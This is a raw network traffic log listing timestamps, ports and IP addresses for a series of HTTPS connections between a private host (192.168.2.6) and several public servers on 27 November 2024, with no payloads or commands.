Nov 27, 2024 11:14:28.958857059 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.958874941 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.958940029 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.958947897 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.958970070 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.959024906 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.959326982 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.959409952 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.959417105 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.959669113 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.960102081 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.960119009 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.960171938 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.960180044 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.960206032 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.960222006 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.961321115 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.961338997 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.961431026 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.961441994 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.961483955 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.964978933 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.964994907 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.965065002 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.965073109 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.965331078 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.965764999 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.965820074 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.965826988 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.965902090 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.968738079 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.968754053 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.968815088 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.968822002 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.968903065 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.970760107 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.970822096 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.970828056 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.970864058 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.970875978 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.970880985 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.970918894 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.970927000 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.970979929 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.975778103 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.975867987 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.975874901 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.976146936 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.977024078 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.977039099 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.977097034 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.977106094 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.977226973 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.981507063 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.981570959 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.981576920 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.981658936 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.982563972 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.982579947 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.982620001 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.982628107 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.982660055 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.982667923 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.986443996 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.986550093 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.986557007 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.986589909 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.992961884 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.993022919 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.993030071 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.993078947 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.998037100 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.998162031 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:28.998169899 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:28.998428106 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.004515886 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.004626989 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.004633904 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.004827976 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.009442091 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.009525061 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.009532928 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.009608984 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.036998987 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.037074089 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.037781000 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.037908077 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.041548014 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.041553974 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.041800976 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.041829109 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.041852951 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.087337017 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.090576887 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.090640068 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.091080904 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.091094971 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.091444016 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.091453075 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.119034052 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.119070053 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.119123936 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.119146109 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.119164944 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.119211912 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.125305891 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125330925 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125425100 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.125443935 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125485897 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.125828981 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125849009 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125890017 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.125896931 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.125955105 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.125955105 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.127753019 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.127779007 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.127882004 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.127918005 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.127966881 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.130570889 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.130661964 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.130664110 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.130675077 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.130681992 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.130714893 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.130723000 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.130752087 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.130764961 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.130785942 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132112980 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132133007 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132179976 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132185936 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132225037 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132275105 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132776022 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132846117 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132853031 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132874012 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.132921934 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.132921934 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.135762930 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.135777950 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.135826111 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.135862112 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.135879993 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.135920048 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.137617111 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137636900 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137677908 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.137684107 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137692928 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137707949 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137712955 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.137782097 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.137783051 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.137789965 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.137830973 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.140074015 CET	49757	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.140086889 CET	443	49757	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144195080 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144212961 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144305944 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.144305944 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.144315958 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144409895 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.144511938 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144529104 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144581079 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.144589901 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.144740105 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.145106077 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.145123005 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.145175934 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.145207882 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.145255089 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.148910046 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.148983955 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.149007082 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.149055004 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.149844885 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.149867058 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.149941921 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.149941921 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.149952888 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.150690079 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.150712967 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.150772095 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.150782108 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.150804043 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.150825024 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.156161070 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.156183004 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.156259060 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.156267881 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.156347036 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.158054113 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.158068895 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.158179998 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.158189058 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.158267975 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.162399054 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.162415981 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.162482977 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.162489891 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.162525892 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.162538052 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.164110899 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.164127111 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.164210081 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.164217949 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.164263964 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.167875051 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.167891979 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.168006897 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.168015957 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.168073893 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.170840025 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.170866013 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.170954943 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.170979023 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.170998096 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.171024084 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.195235014 CET	49756	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.195271969 CET	443	49756	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.230210066 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.230273962 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.230336905 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.234808922 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.234827995 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.234855890 CET	49763	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.234865904 CET	443	49763	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.244313002 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.244353056 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.244429111 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.245141983 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:29.245157003 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:29.335664034 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.335690022 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.335740089 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.335761070 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.335787058 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.335851908 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.337191105 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.337212086 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.337292910 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.337310076 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.337326050 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.337366104 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.340536118 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.340550900 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.340605021 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.340614080 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.340660095 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.343305111 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.343346119 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.343451977 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.343451977 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.343461037 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.343736887 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.346645117 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.346659899 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.346740007 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.346748114 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.346787930 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.348860979 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.348885059 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.348944902 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.348953009 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.349009037 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.349029064 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.352819920 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.352835894 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.352893114 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.352901936 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.352971077 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.355433941 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.355472088 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.355530977 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.355536938 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.355607033 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.355607033 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.358957052 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.358971119 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.359015942 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.359024048 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.359064102 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.359075069 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.361042976 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.361061096 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.361185074 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.361185074 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.361196041 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.361387968 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.364742994 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.364758015 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.364829063 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.364840984 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.364897013 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.367383957 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.367402077 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.367489100 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.367496967 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.367547989 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.367547989 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.370111942 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.370129108 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.370213985 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.370222092 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.370332003 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.373718023 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.373739958 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.373816013 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.373822927 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.373868942 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.373899937 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.376339912 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.376355886 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.376441956 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.376450062 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.379117012 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.379127979 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.379137993 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.379210949 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.379218102 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.379251003 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.379281044 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.457679033 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:29.486994982 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.487291098 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.487427950 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.546209097 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546228886 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546243906 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546272993 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546400070 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.546417952 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546435118 CET	49755	443	192.168.2.6	150.171.27.10
